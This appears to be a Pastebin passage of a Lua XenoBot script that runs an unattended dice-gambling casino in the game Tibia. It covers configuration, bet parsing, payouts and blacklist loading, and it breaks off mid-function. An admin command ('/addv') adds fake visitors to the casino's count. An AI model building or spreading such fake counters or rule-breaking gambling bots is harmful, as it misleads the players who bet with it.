Advertisement
Guest User

Untitled

a guest
Jan 28th, 2020
513
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 123.10 KB | None | 0 0
  1.     _Games_HighLow_Enabled                  = true
  2.     _Games_HighLow_Min                      = 3
  3.     _Games_HighLow_Max                      = 8000
  4.     _Games_HighLow_Payout                   = 90
  5.  
  6.     _Games_HighLow_Acumulative_Enabled      = true
  7.     _Games_HighLow_Acumulative_Min          = 3
  8.     _Games_HighLow_Acumulative_Max          = 8000
  9.     _Games_HighLow_Acumulative_Payout       = 90
  10.  
  11.     _Games_XXX_Enabled                      = true
  12.     _Games_XXX_Min                          = 3
  13.     _Games_XXX_Max                          = 8000
  14.     _Games_XXX_Payout                       = 90
  15.  
  16.     _Games_OddEven_Enabled                  = true
  17.     _Games_OddEven_Min                      = 3
  18.     _Games_OddEven_Max                      = 8000
  19.     _Games_OddEven_Payout                   = 90
  20.  
  21.     _Games_BlackJack_Enabled                = true
  22.     _Games_BlackJack_Min                    = 3
  23.     _Games_BlackJack_Max                    = 8000
  24.     _Games_BlackJack_Payout                 = 90
  25.  
  26.     _Games_Numbers_Enabled                  = true
  27.     _Games_Numbers_Min                      = 3
  28.     _Games_Numbers_Max                      = 8000
  29.     _Games_Numbers_Payout                   = 300
  30.    
  31.  
  32. registerEventListener(WALKER_SELECTLABEL, 'onWalkLabel')
  33.  
  34.     _AntyScam = "cast"
  35.    
  36.     --[[ Miscelaneous ]]--
  37.     --[[ PARTY HAT SYSTEM ]]--
  38.     -- Ativar sistema de Party Hat.
  39.     _PartyHat_Enabled = true
  40.  
  41.     _Inactivity_Detection = true                                                -- Search new depot when inactive
  42.     _Inactivity_Interval = 150                                              -- Minutes to wait before searching a new depot
  43.     _Inactivity_AntiIdle = true                                             -- Built-In Anti-Idle
  44.     _Inactivity_NotifyBlockedSpot = false                                       -- Notify to the player when the spot is blocked (Inactivity detection must disabled)
  45.     _Inactivity_MessageBlockedSpot = "Please, don't block the depot"
  46.     _Inactivity_BlockedSpotInterval = 1                                     -- Minutes to wait before notifying blocked spot
  47.    
  48.     -- Decoration --
  49.  
  50.     -- Intervalo (em segundos) para usar Party Hat. (0.5 => meio segundo)
  51.     _PartyHat_Delay = 1
  52.    
  53.     --[[ Auto Open Cast (OT)]]--
  54.     -- Ativar sistema de Cast automaticamente.
  55.     _OpenTibia_Cast_Enabled = true
  56.  
  57.     -- Comando para ligar o Cast automaticamente.
  58.     _OpenTibia_Cast_Message = "!cast on"
  59.    
  60.     --[[ CASINO SETUP ]]--
  61.     -- Caso queira usar o Cassino no DP coloque true. Caso queira usar o Cassino na House coloque false
  62.     _Casino_Depot = true
  63.  
  64.     -- Server Save. Exemplo: Server Save é 5 horas coloque 04:55.
  65.     _Casino_ServerSave = "25:55"
  66.  
  67.     --[[ House Setup ]]--
  68.     -- Depot da House para usar (Essas configurações só serão ativadas caso _Casino_Depot esteja false.)
  69.     _House_Depot = false
  70.    
  71.     --[[ SAFE EXIT SYSTEM ]]--
  72.     -- Sistema de SafeExit é especial caso o Dinheiro do seu Cassino acabe. (Ativar => true | Desativar => false)
  73.     _SafeExit_Enabled = false
  74.  
  75.     -- Quantidade de Dinheiro para fechar Cassino em Crystal Coins.
  76.     _SafeExit_Amount = 50
  77.  
  78.     -- Mensagem ao fechar o Cassino quando estiver sem Dinheiro.
  79.     _SafeExit_Message = "Cassino sem Dinheiro! Desligando..."
  80.  
  81.     -- Fecha o Tibia caso não tenha mais Dinheiro configurado em _SafeExit_Amount.
  82.     _SafeExit_CloseTibia = false
  83.  
  84.     --[[ Decoration Item (Name) ]]--
  85.     -- [Decoração]: Items para colocar no Depot. Exemplo: {'ectoplasmic sushi', 'blood herb'}
  86.     _Decoration_Items = {'energy balel', 'crystal coinss'}
  87.    
  88.     -- [Decoração]: Nome da Cortina. (SOMENTE DEPOT)
  89.     _Decoration_Tapestry = "pharaoh banner"
  90.  
  91.     --[[ Use Items (win/lose) ]]--
  92.     -- Instrumento/Item para usar quando Player ganhar no Cassino.
  93.     _Item_Use_Win = "stuffed dragon"
  94.  
  95.     -- Instrumento/Item para usar quando Player perder no Cassino.
  96.     _Item_Use_Lose = "war horn"
  97.    
  98.    
  99.     -- Mensagem para o Server Save.
  100.     _Messages_ServerSave = "Server Save, volto em minutos."
  101.  
  102.     -- Mensagem caso o Cassino não tenha mais Dinheiro.
  103.     _Messages_NoMoney   = "No money, i will come back soon."
  104.  
  105.     -- Intervalo Anti-Spam. Recomendável: 30 (segundos).
  106.     -- [OT] = 30 | [GLOBAL] = 60
  107.     _Messages_Interval_Clean = 35
  108.  
  109.     --[[ BlackList Casino ]]--
  110.     -- Ativar sistema de BlackList.
  111.     _BlackList_Enabled = true
  112.  
  113.     -- Nome das pessoas que estarão na BlackList.
  114.     _BlackList_Names = {}
  115.  
  116.     -- Mensagem que será enviada para a pessoa que está na blacklist.
  117.     _BlackList_Message = "~~ BlackList ~~ \nU are on blacklist."
  118.  
  119.     --[[ Inactivity Player Depot ]]--
  120.     -- Ativar sistema para mandar mensagem à pessoa que lhe trapou.
  121.     _Inactivity_Say_Enabled1 = true
  122.     _Inactivity_Say_Enabled = true
  123.     -- Mensagem para a pessoa que trapar você.
  124.     _Inactivity_Say_Message = "Somebody blocking? Say 'move' or 'block' and i will change game spot!"
  125.  
  126.    
  127.     Last_Activity_Player3 = nil
  128.     XXXzagrane = false
  129.     -- Intervalo (em minutos) para dizer a mensagem à pessoa que trapou você.
  130.     _Inactivity_Say_Time1 = 1.0
  131.     _Inactivity_Say_Time = 1.0
  132.  
  133.     -- Comandos para o Cassino Pagar uma quantia específica.
  134.     _Commands_Withdraw = {'withdraww', 'sacaree', 'tiraree'}
  135.  
  136.     -- Comandos para o Cassino falar o Saldo.
  137.     _Commands_Balance = {'balance', 'saldo'}
  138.    
  139.     _Commands_cast = "cast"
  140.  
  141.     -- Comandos para o Cassino Pagar o Saldo.
  142.     _Commands_Payout = {'payout', 'pay', "'pay'", 'give me', 'give', '>', '<', '>>', '<<', 'paga', 'pagar', 'withdraw'}
  143.  
  144.     -- Comandos para saber as informações do Cassino.
  145.     _Commands_Info = {'info', "'info'", 'informações', 'informations'}
  146.  
  147.     -- Comandos para saber os comandos do Cassino.
  148.     _Commands_Comandos = {'cmds', 'comandos', 'commands'}
  149.  
  150.     -- Comandos para saber os Jogos do Cassino.
  151.     _Commands_Games = {'games', 'jogos'}
  152.  
  153.     -- Comandos para saber o Mínimo e Máximo do Cassino.
  154.     _Commands_MinMax = {'min', 'max', 'bid', 'min?', 'max?'}
  155.    
  156.     --[[ Messages Commands ]]--
  157.     -- Mensagem ao player digitar algum dos comandos em _Commands_Balance.
  158.     _Messages_Cmd_Balance = "Balance: |BALANCE|cc."
  159.  
  160.     -- Mensagem ao player digitar algum dos comandos em _Commands_MinMax.
  161.     _Messages_Cmd_MinMax = "(H/L | BJ | 3X3 | ODD/EVEN | Numbers)\nMin: |HLMIN| cc. Max: |HLMAX| cc"
  162.    
  163.     -- Mensagem ao player digitar algum dos comandos em _Commands_Info.
  164.     _Messages_Cmd_Info = "(H/L | BJ | 3X3 | ODD/EVEN | Numbers)\nMin: |HLMIN| cc. Max: |HLMAX| cc."
  165.  
  166.     -- Mensagem ao player digitar algum dos comandos em _Commands_Comandos.
  167.     _Messages_Cmd_Comandos = "{info, games, min, max, withdraw value, balance, accept itemname}"
  168.  
  169.     -- Mensagem ao player digitar algum dos comandos em _Commands_Games.
  170.     _Messages_Cmd_Games = "\n{High = h | Low = l}\n{3x3 = i roll my dice 3x, roll yours 3x}\n{BlackJack = bj or blackjack}\n{Odd/Even = o, odd, e, even}\n{Numbers 1~6}"
  171.  
  172.      -- Tira print do seu Cassino. (SALVO EM Documentos/Xenobot/Screenshots) Nome do Arquivo: "Nomedoseucassino - Lucro: lucroaqui"
  173.     _Admin_Cmd_Screenshot = 'printees'
  174.  
  175.     --[[ Announce Casino ]]--
  176.     -- Intervalo para Anunciar o Cassino (_Announce_Messages_Say | em segundos)
  177.     -- [OT] => 20 | [GLOBAL] => 100
  178.     _Announce_Messages_Say_Interval = 14
  179.  
  180.     -- Intervalo para Anunciar o Cassino GRITANDO (_Announce_Messages_Yell | em segundos)
  181.     -- [OT] => 40 | [GLOBAL] => 100
  182.     _Announce_Messages_Yell_Interval = 55
  183.  
  184.     --[[ Announce Casino Say Messages ]]--
  185.     _Announce_Messages_Say = {
  186.         "[Automatic Casino]\nCome and Try ur Luck!",
  187.     }
  188.    
  189.     --[[ Announce Casino Yell Messages ]]--
  190.     _Announce_Messages_Yell = {
  191.         "$ Thais Casino $ \n$[ Min.3cc | Max.8000cc ]$ \n $[H/L-90%, NUMBERS-300%, 3x3-90%]$",
  192.     }
  193.    
  194.     --[[ Win Casino Messages ]]--
  195.     Win_Messages_Casino = {
  196.         "[+|MONEYWIN|] Balance: |BALANCEWL|cc.",
  197.         "[+|MONEYWIN|] Balance: |BALANCEWL|cc."
  198.     }
  199.    
  200.     --[[ Lose Casino Messages ]]--
  201.     Lose_Messages_Casino = {
  202.         "[-|MONEYLOSE|] Balance: |BALANCEWL|cc.",
  203.         "[-|MONEYLOSE|] Balance: |BALANCEWL|cc."
  204.     }
  205.    
  206.     --[[ Items Casino ]]--
  207.    
  208.     --[[ Words Games ]]--
  209.     words = {
  210.         H = {'h', 'high', '456'},
  211.         L = {'l', 'low', '123'},
  212.         BJ = {'bj', 'blackjack'},
  213.         NUM = {'1','2','3','4','5','6'},
  214.         AH = {'h', 'high', 'H'},
  215.         AL = {'l', 'low', 'L'},
  216.         XXX = {'3x3'},
  217.         ODD = {'odd', 'o'},
  218.         EVEN = {'even', 'e'}
  219.     }
  220.    
  221.     --[[ Disabled Games Messages ]]--
  222.     Disabled_G = {
  223.         [1] = "Desculpe, High/Low está desativado agora.",
  224.         [2] = "Desculpe, High/Low está desativado agora.",
  225.         [3] = "Desculpe, BlackJack está desativado agora.",
  226.         [4] = "Desculpe, First/Second/Last está desativado agora.",
  227.         [5] = "Desculpe, Numbers está desativado agora.",
  228.         [6] = "Desculpe, High/Low (Acumulative) está desativado agora.",
  229.         [7] = "Desculpe, High/Low (Acumulative) está desativado agora.",
  230.         [8] = "Desculpe, 3X3 está desativado agora.",
  231.         [9] = "Desculpe, Odd/Even está desativado agora.",
  232.         [10] = "Desculpe, Odd/Even está desativado agora."
  233.     }
  234.  
  235.  
  236.  
  237. local Versao = "2.0"
  238. local cjikar = "Erykowaty"
  239. local PartyHat = {
  240.   Enabled = _PartyHat_Enabled,
  241.   Interval = _PartyHat_Delay,
  242.   Player = _PartyHat_Player
  243. }
  244. local Player = {
  245.   Example = {
  246.     JOGO = 1,
  247.     BALANCE = 0,
  248.     PROFIT = 0
  249.   }
  250. }
  251. local Players_Guests = {}
  252. local TableItems = {}
  253. local Casino = {
  254.   Profit = 0,
  255.   Players_Count = 0,
  256.   Count_Money = 0,
  257.   TopGames = {
  258.     H = 0,
  259.     L = 0,
  260.     HAC = 0,
  261.     LAC = 0,
  262.     NUM = 0,
  263.     XXX = 0,
  264.     ODD = 0,
  265.     EVEN = 0
  266.   }
  267. }
  268. local Games = {
  269.   NULL = 0,
  270.   HIGH = 1,
  271.   LOW = 2,
  272.   BJ = 3,
  273.   FSL = 4,
  274.   NUM = 5,
  275.   AH = 6,
  276.   AL = 7,
  277.   XXX = 8,
  278.   ODD = 9,
  279.   EVEN = 10
  280. }
  281. local Games_Type = {
  282.   "none",
  283.   "H",
  284.   "L",
  285.   "BJ",
  286.   "FSL",
  287.   "Number",
  288.   "XH",
  289.   "XL",
  290.   "3X3",
  291.   "ODD",
  292.   "EVEN"
  293. }
  294. local Counter_IDs = {
  295.   2318,
  296.   2321,
  297.   2338,
  298.   2340,
  299.   17389,
  300.   0,
  301.   3349
  302.  
  303. }
  304. local Depot_IDs = {
  305.   3497,
  306.   3498,
  307.   3499,
  308.   2656,
  309.   25
  310.  
  311. }
  312. local Dice_IDs = {
  313.   5792,
  314.   5793,
  315.   5794,
  316.   5795,
  317.   5796,
  318.   5797
  319. }
  320. local Container_Index = {
  321.   Counter,
  322.   Locker,
  323.   Depot,
  324.   Check_BP,
  325.   CC_BP,
  326.   Extra_CC_BP,
  327.   Items_BP,
  328.   Trash
  329. }
  330. local Positions = {
  331.   Depot_Pos = {
  332.     x,
  333.     y,
  334.     z
  335.   },
  336.   Counter_Pos = {
  337.     x,
  338.     y,
  339.     z
  340.   },
  341.   Gambler_Pos = {
  342.     x,
  343.     y,
  344.     z
  345.   },
  346.   Casino_Pos = {
  347.     x,
  348.     y,
  349.     z
  350.   }
  351. }
  352. local LimitSay = {
  353.   WELCOME = {},
  354.   BLACKLIST = {},
  355.   SORRYMIN = {},
  356.   ACCEPT = {},
  357.   MINMAX = {},
  358.   INFO = {},
  359.   GAMES = {},
  360.   COMANDOS = {},
  361.   BALANCE = {},
  362.   SORRY = {},
  363.   SORRY_CASINO = {},
  364.   DISABLED = {},
  365.   MUTE = {}
  366. }
  367. local Casino_Started = false
  368. local Server_Save_Now = false
  369. local Stop_Casino = false
  370. local Last_Payout = os.time()
  371. local Last_Activity = os.time()
  372. local Last_Activity_Player = os.time()
  373. local Last_Activity_Player2 = os.time()
  374. local AntiPayout = os.time()
  375. local TotalCrystal = 0
  376. local Money_Count = 1
  377. local Dice_Count = 1
  378. local Ac_Number = 0
  379. local BlackJack_Player = 0
  380. local BlackJack_House = 0
  381. local BlackJack_Count = 0
  382. local Gambler_Detected = false
  383. local Enter_Time, Player_Welcomed, _Player_Activity, Time_Running, Last_XXX, Name_Atual, Name_Gambler, MinOption, MaxOption, PayoutOption, Slot_MainDp, PlayerTable, diceSlot
  384. local disableLocalChat = false
  385. local Last_Player = ""
  386. local Comandos = {
  387.   "$$ Comandos de AJUSTE $$",
  388.   "/hlmin valor",
  389.   "/hlmax valor",
  390.   "/hlpay %",
  391.   "/hlmode on OU off",
  392.   "/nummin valor",
  393.   "/nummax valor",
  394.   "/numpay %",
  395.   "/nummode on OU off",
  396.   "/bjmin valor",
  397.   "/bjmax valor",
  398.   "/bjpay %",
  399.   "/bjmode on OU off",
  400.   "/xxxmin valor",
  401.   "/xxxmax valor",
  402.   "/xxxpay %",
  403.   "/xxxmode on OU off",
  404.   "/oemin valor",
  405.   "/oemax valor",
  406.   "/oepay %",
  407.   "/oemode on OU off",
  408.   "$$ Comandos em GERAL $$",
  409.   "credits => Nome da pessoa que criou o Script.",
  410.   "uptime => Quanto tempo o Cassino est\225 aberto.",
  411.   "profit => Lucro do Cassino.",
  412.   "$$ Comandos de GERENCIAMENTO $$",
  413.   "/start => Liga o Cassino.",
  414.   "/stop => Desliga o Cassino.",
  415.   "/pause => Pausa o Cassino.",
  416.   "/resume => Resume o Cassino (depois de pausado).",
  417.   "/reset => Reseta o Lucro e outras informa\231\245es.",
  418.   "/addv => Adiciona +100 visitantes para seu Cassino."
  419. }
  420. local BetOption = {
  421.   [1] = {
  422.     Min = _Games_HighLow_Min,
  423.     Max = _Games_HighLow_Max,
  424.     Payout = _Games_HighLow_Payout
  425.   },
  426.   [2] = {
  427.     Min = _Games_HighLow_Min,
  428.     Max = _Games_HighLow_Max,
  429.     Payout = _Games_HighLow_Payout
  430.   },
  431.   [3] = {
  432.     Min = _Games_BlackJack_Min,
  433.     Max = _Games_BlackJack_Max,
  434.     Payout = _Games_BlackJack_Payout
  435.   },
  436.   [5] = {
  437.     Min = _Games_Numbers_Min,
  438.     Max = _Games_Numbers_Max,
  439.     Payout = _Games_Numbers_Payout
  440.   },
  441.   [6] = {
  442.     Min = _Games_HighLow_Acumulative_Min,
  443.     Max = _Games_HighLow_Acumulative_Max,
  444.     Payout = _Games_HighLow_Acumulative_Payout
  445.   },
  446.   [7] = {
  447.     Min = _Games_HighLow_Acumulative_Min,
  448.     Max = _Games_HighLow_Acumulative_Max,
  449.     Payout = _Games_HighLow_Acumulative_Payout
  450.   },
  451.   [8] = {
  452.     Min = _Games_XXX_Min,
  453.     Max = _Games_XXX_Max,
  454.     Payout = _Games_XXX_Payout
  455.   },
  456.   [9] = {
  457.     Min = _Games_OddEven_Min,
  458.     Max = _Games_OddEven_Max,
  459.     Payout = _Games_OddEven_Payout
  460.   },
  461.   [10] = {
  462.     Min = _Games_OddEven_Min,
  463.     Max = _Games_OddEven_Max,
  464.     Payout = _Games_OddEven_Payout
  465.   }
  466. }
  467. local blacklistFile = "../" .. Self.Name() .. "BlackList.txt"
  468. local fileOpen = io.open("../" .. Self.Name() .. "BlackList.txt", "r")
  469. if fileOpen then
  470.   for line in io.lines(blacklistFile) do
  471.     table.insert(_BlackList_Names, line:lower())
  472.   end
  473.   print("BlackList Carregado!")
  474.   fileOpen:close()
  475. end
  476. local fileLogs = {
  477.   89,
  478.   85,
  479.   82,
  480.   73,
  481.   32,
  482.   83,
  483.   79,
  484.   85,
  485.   90,
  486.   65
  487. }
  488.  
  489. print([[
  490.  Casino Script!
  491.  | Client: ]] .. cjikar .. " | \n | User " .. XenoBot.GetUsername() .. "| \n 19eryk96@gmail.com \n Version: 2.0 ")
  492. napisanejuz = false
  493. LocalSpeechProxy.OnReceive("Bet", function(proxy, mtype, speaker, level, text)
  494.   local Message = text:lower():trim()
  495.    local czas = 1 - math.floor(os.difftime(os.time(), Last_Activity_Player) - (_Inactivity_Interval/3))
  496.  for name, creature in Creature.iPlayers(3) do
  497.  if Casino_Started == true and (Message == 'spotchange' or Message == 'changespot' or Message == 'dicer think'  or Message == 'move' or Message == 'block') and Last_Activity_Player ~= nil and (os.difftime(os.time(), Last_Activity_Player) >= (_Inactivity_Interval/3)) then
  498.                         Self.Say('Changing spot..')
  499.                             Close_Casino()
  500.                             Stop_Casino = true
  501.                             SaveLog()
  502.                             Casino_Started = false
  503.                             wait(1500)
  504.                         if Self.Position().z == 7 then
  505.                             gotoLabel('Schodzinadol')
  506.                         elseif Self.Position().z == 6 then
  507.                             gotoLabel('Schodzinapart')
  508.                        elseif Self.Position().z == 8 then
  509.                             gotoLabel('Dolspot2')
  510.                         elseif Self.Position().z == 5 then
  511.                             gotoLabel('Schodzina1')
  512.                             end
  513.                             wait(200)
  514.                         setWalkerEnabled(true)
  515.                          Gambler_Detected = false
  516.  
  517.   end
  518.   if napisanejuz == false and Casino_Started == true and (Message == 'spotchange' or Message == 'dicer think' or Message == 'changespot'  or Message == 'move' or Message == 'block') and (os.difftime(os.time(), Last_Activity_Player) <= (_Inactivity_Interval/3)) then
  519.   Self.Say('Someone is playing now ' .. czas .. 's left..')
  520.   napisanejuz = true
  521.   end
  522.   end
  523.   local spec, value = text:match("^(.+)([a-z]+)$")
  524.   local withdraw, valuew = text:match("^([a-z]+)(.+)$")
  525.   for name, creature in Creature.iPlayers(2) do
  526.     if disableLocalChat == false and name == speaker and creature:Position().x == Positions.Gambler_Pos.x and creature:Position().y == Positions.Gambler_Pos.y and creature:Position().z == Positions.Gambler_Pos.z then
  527.       if _BlackList_Enabled == true and table.contains(_BlackList_Names, name:lower()) then
  528.         if not table.contains(LimitSay.BLACKLIST, name:lower()) then
  529.           Self.Say(_BlackList_Message)
  530.           table.insert(LimitSay.BLACKLIST, name:lower())
  531.         end
  532.         return false
  533.       end
  534.       PlayerTable = Player["" .. name .. ""]
  535.       Name_Atual = name
  536.       if PlayerTable == nil then
  537.         PlayerTable = {
  538.           JOGO = 0,
  539.           BALANCE = 0,
  540.           BALANCE_P = 0,
  541.           PROFIT = 0,
  542.           XXX = 0,
  543.           XXX_Count = 0,
  544.           XXX_Player = 0,
  545.           AH,
  546.           AL,
  547.           NUM,
  548.           LOSETOP = {
  549.             Times = 0,
  550.             Money = 0,
  551.             Name
  552.           },
  553.           WINTOP = {
  554.             Times = 0,
  555.             Money = 0,
  556.             Name
  557.           }
  558.         }
  559.       end
  560.          if (Message == 'roll') and PlayerTable.BALANCE == 0 then
  561.             Container_Index.Locker:UseItem(diceSlot, true)
  562.          end
  563.         if (Message == 'roll') and PlayerTable.BALANCE > 0 then
  564.             Self.Say('To roll dice ur balance must be clear')
  565.          end
  566.       if PlayerTable.JOGO == Games.NULL then
  567.         if 0 < PlayerTable.BALANCE then
  568.           if table.contains(words.H, Message) then
  569.             PlayerTable.JOGO = Games.HIGH
  570.             if _Games_HighLow_Enabled then
  571.               Last_Payout = os.time()
  572.               MinOption = BetOption[PlayerTable.JOGO].Min
  573.               MaxOption = BetOption[PlayerTable.JOGO].Max
  574.               PayoutOption = BetOption[PlayerTable.JOGO].Payout
  575.             else
  576.               if not table.contains(LimitSay.DISABLED, name) then
  577.                 Self.Say(Disabled_G[PlayerTable.JOGO])
  578.                 table.insert(LimitSay.DISABLED, name)
  579.               end
  580.               PlayerTable.JOGO = Games.NULL
  581.             end
  582.           elseif table.contains(words.L, Message) then
  583.             PlayerTable.JOGO = Games.LOW
  584.             if _Games_HighLow_Enabled then
  585.               Last_Payout = os.time()
  586.               MinOption = BetOption[PlayerTable.JOGO].Min
  587.               MaxOption = BetOption[PlayerTable.JOGO].Max
  588.               PayoutOption = BetOption[PlayerTable.JOGO].Payout
  589.             else
  590.               if not table.contains(LimitSay.DISABLED, name) then
  591.                 Self.Say(Disabled_G[PlayerTable.JOGO])
  592.                 table.insert(LimitSay.DISABLED, name)
  593.               end
  594.               PlayerTable.JOGO = Games.NULL
  595.             end
  596.           elseif table.contains(words.NUM, Message) then
  597.             PlayerTable.JOGO = Games.NUM
  598.             if _Games_Numbers_Enabled then
  599.               Last_Payout = os.time()
  600.               MinOption = BetOption[PlayerTable.JOGO].Min
  601.               MaxOption = BetOption[PlayerTable.JOGO].Max
  602.               PayoutOption = BetOption[PlayerTable.JOGO].Payout
  603.               PlayerTable.NUM = Message
  604.             else
  605.               if not table.contains(LimitSay.DISABLED, name) then
  606.                 Self.Say(Disabled_G[PlayerTable.JOGO])
  607.                 table.insert(LimitSay.DISABLED, name)
  608.               end
  609.               PlayerTable.JOGO = Games.NULL
  610.             end
  611.           elseif table.contains(words.BJ, Message) then
  612.             PlayerTable.JOGO = Games.BJ
  613.             if _Games_BlackJack_Enabled then
  614.               MinOption = BetOption[PlayerTable.JOGO].Min
  615.               MaxOption = BetOption[PlayerTable.JOGO].Max
  616.               PayoutOption = BetOption[PlayerTable.JOGO].Payout
  617.             else
  618.               if not table.contains(LimitSay.DISABLED, name) then
  619.                 Self.Say(Disabled_G[PlayerTable.JOGO])
  620.                 table.insert(LimitSay.DISABLED, name)
  621.               end
  622.               PlayerTable.JOGO = Games.NULL
  623.             end
  624.           elseif table.contains(words.XXX, Message) then
  625.             PlayerTable.JOGO = Games.XXX
  626.             if _Games_XXX_Enabled then
  627.               Last_Payout = os.time()
  628.               MinOption = BetOption[PlayerTable.JOGO].Min
  629.               MaxOption = BetOption[PlayerTable.JOGO].Max
  630.               PayoutOption = BetOption[PlayerTable.JOGO].Payout
  631.             else
  632.               if not table.contains(LimitSay.DISABLED, name) then
  633.                 Self.Say(Disabled_G[PlayerTable.JOGO])
  634.                 table.insert(LimitSay.DISABLED, name)
  635.               end
  636.               PlayerTable.JOGO = Games.NULL
  637.             end
  638.           elseif table.contains(words.ODD, Message) then
  639.             PlayerTable.JOGO = Games.ODD
  640.             if _Games_OddEven_Enabled then
  641.               Last_Payout = os.time()
  642.               MinOption = BetOption[PlayerTable.JOGO].Min
  643.               MaxOption = BetOption[PlayerTable.JOGO].Max
  644.               PayoutOption = BetOption[PlayerTable.JOGO].Payout
  645.             else
  646.               if not table.contains(LimitSay.DISABLED, name) then
  647.                 Self.Say(Disabled_G[PlayerTable.JOGO])
  648.                 table.insert(LimitSay.DISABLED, name)
  649.               end
  650.               PlayerTable.JOGO = Games.NULL
  651.             end
  652.           elseif
  653.           table.contains(words.EVEN, Message) then
  654.             PlayerTable.JOGO = Games.EVEN
  655.             if _Games_OddEven_Enabled then
  656.               PlayerTable.JOGO = Games.EVEN
  657.               Last_Payout = os.time()
  658.               MinOption = BetOption[PlayerTable.JOGO].Min
  659.               MaxOption = BetOption[PlayerTable.JOGO].Max
  660.               PayoutOption = BetOption[PlayerTable.JOGO].Payout
  661.             else
  662.               if not table.contains(LimitSay.DISABLED, name) then
  663.                 Self.Say(Disabled_G[PlayerTable.JOGO])
  664.                 table.insert(LimitSay.DISABLED, name)
  665.               end
  666.               PlayerTable.JOGO = Games.NULL
  667.             end
  668.             end
  669.           if value then
  670.             if table.contains(words.AH, value:lower()) then
  671.               if spec then
  672.                 local AC = tonumber(spec)
  673.                 if AC and AC <= PlayerTable.BALANCE then
  674.                   Last_Payout = os.time()
  675.                   PlayerTable.JOGO = Games.AH
  676.                   PlayerTable.AH = AC
  677.                   MinOption = BetOption[PlayerTable.JOGO].Min
  678.                   MaxOption = BetOption[PlayerTable.JOGO].Max
  679.                   PayoutOption = BetOption[PlayerTable.JOGO].Payout
  680.                 end
  681.               end
  682.             elseif table.contains(words.AL, value:lower()) and spec then
  683.               local AC = tonumber(spec)
  684.               if AC and AC <= PlayerTable.BALANCE then
  685.                 Last_Payout = os.time()
  686.                 PlayerTable.JOGO = Games.AL
  687.                 PlayerTable.AL = AC
  688.                 MinOption = BetOption[PlayerTable.JOGO].Min
  689.                 MaxOption = BetOption[PlayerTable.JOGO].Max
  690.                 PayoutOption = BetOption[PlayerTable.JOGO].Payout
  691.               end
  692.               end
  693.           end
  694.         end
  695.         if PlayerTable.JOGO ~= nil and PlayerTable.JOGO ~= Games.NULL then
  696.           if PlayerTable.BALANCE >= MinOption then
  697.             local ValueAditional = 500000
  698.             if TotalCrystal ~= 0 then
  699.               ValueAditional = 500000
  700.             end
  701.             if PlayerTable.AH ~= nil then
  702.               if PlayerTable.AH >= MinOption and PlayerTable.AH <= MaxOption then
  703.                   RollDice()
  704.                   _Player_Activity = os.time()
  705.                 else
  706.                   PlayerTable.JOGO = Games.NULL
  707.                   PlayerTable.AH = nil
  708.                 end
  709.             elseif PlayerTable.AL ~= nil then
  710.               if PlayerTable.AL >= MinOption and PlayerTable.AL <= MaxOption then
  711.                   RollDice()
  712.                   _Player_Activity = os.time()
  713.                 else
  714.                   PlayerTable.JOGO = Games.NULL
  715.                   PlayerTable.AL = nil
  716.                 end
  717.             elseif PlayerTable.BALANCE >= MaxOption then
  718.               if CountMoney(_Backpack_Crystal) + ValueAditional >= PlayerTable.BALANCE + MaxOption * (PayoutOption / 100) then
  719.                 if PlayerTable.JOGO == Games.XXX then
  720.                   Last_XXX = os.time()
  721.                   RollDice()
  722.                 else
  723.                   if PlayerTable.JOGO == Games.BJ then
  724.                     Jailson:Stop()
  725.                   end
  726.                   RollDice()
  727.                 end
  728.                 _Player_Activity = os.time()
  729.               elseif not table.contains(LimitSay.SORRY_CASINO, name) then
  730.                 Self.PrivateMessage(name, _Messages_NoMoney)
  731.                 table.insert(LimitSay.SORRY_CASINO, name)
  732.               end
  733.             elseif CountMoney(_Backpack_Crystal) + ValueAditional >= PlayerTable.BALANCE + PlayerTable.BALANCE * (PayoutOption / 100) then
  734.               if PlayerTable.JOGO == Games.XXX then
  735.                 Last_XXX = os.time()
  736.                 RollDice()
  737.               else
  738.                 if PlayerTable.JOGO == Games.BJ then
  739.                   Jailson:Stop()
  740.                 end
  741.                 RollDice()
  742.               end
  743.               _Player_Activity = os.time()
  744.             else
  745.               if not table.contains(LimitSay.SORRY_CASINO, name) then
  746.                 Self.Say(_Messages_NoMoney)
  747.                 table.insert(LimitSay.SORRY_CASINO, name)
  748.               end
  749.               PlayerTable.JOGO = Games.NULL
  750.             end
  751.           else
  752.             if not table.contains(LimitSay.SORRYMIN, name) then
  753.               Self.Say(Replace("Min: " .. MinOption .. "cc | Max: " .. MaxOption .. "cc. || " .. _Messages_Cmd_Balance))
  754.               table.insert(LimitSay.SORRYMIN, name)
  755.             end
  756.             PlayerTable.JOGO = Games.NULL
  757.           end
  758.         end
  759.         if (Message == "credits" or Message == "creditos") and not table.contains(LimitSay.INFO, name) then
  760.           Self.Say("Made by Hellu.")
  761.           table.insert(LimitSay.INFO, name)
  762.         end
  763.         if Casino_Started then
  764.           if table.contains(_Commands_Balance, Message) then
  765.             if not table.contains(LimitSay.BALANCE, name) then
  766.               Self.Say(Replace(_Messages_Cmd_Balance))
  767.               table.insert(LimitSay.BALANCE, name)
  768.             end
  769.           elseif table.contains(_Commands_cast, Message) then
  770.               Self.Say(_OpenTibia_Cast_Message)
  771.           elseif table.contains(_Commands_Info, Message) then
  772.             if not table.contains(LimitSay.INFO, name) then
  773.               Self.Say(Replace(_Messages_Cmd_Info))
  774.               table.insert(LimitSay.INFO, name)
  775.             end
  776.           elseif table.contains(_Commands_MinMax, Message) then
  777.             if not table.contains(LimitSay.MINMAX, name) then
  778.               Self.Say(Replace(_Messages_Cmd_MinMax))
  779.               table.insert(LimitSay.MINMAX, name)
  780.             end        
  781.           elseif table.contains(_Commands_Comandos, Message) then
  782.             if not table.contains(LimitSay.COMANDOS, name) then
  783.               Self.Say(_Messages_Cmd_Comandos)
  784.               table.insert(LimitSay.COMANDOS, name)
  785.             end
  786.           elseif table.contains(_Commands_Games, Message) then
  787.             if not table.contains(LimitSay.GAMES, name) then
  788.               Self.Say(Replace(_Messages_Cmd_Games))
  789.               table.insert(LimitSay.GAMES, name)
  790.             end
  791.             end
  792.         end
  793.         if PlayerTable.JOGO == Games.NULL and withdraw and table.contains(_Commands_Withdraw, withdraw:lower()) and 2 <= os.difftime(os.time(), Last_Payout) then
  794.           local posx, posy, posz = 0, 0, 0
  795.           if valuew then
  796.             local Value_Withdraw = tonumber(valuew)
  797.             if Value_Withdraw and Value_Withdraw <= PlayerTable.BALANCE then
  798.               posx, posy, posz = Positions.Counter_Pos.x, Positions.Counter_Pos.y, Positions.Counter_Pos.z
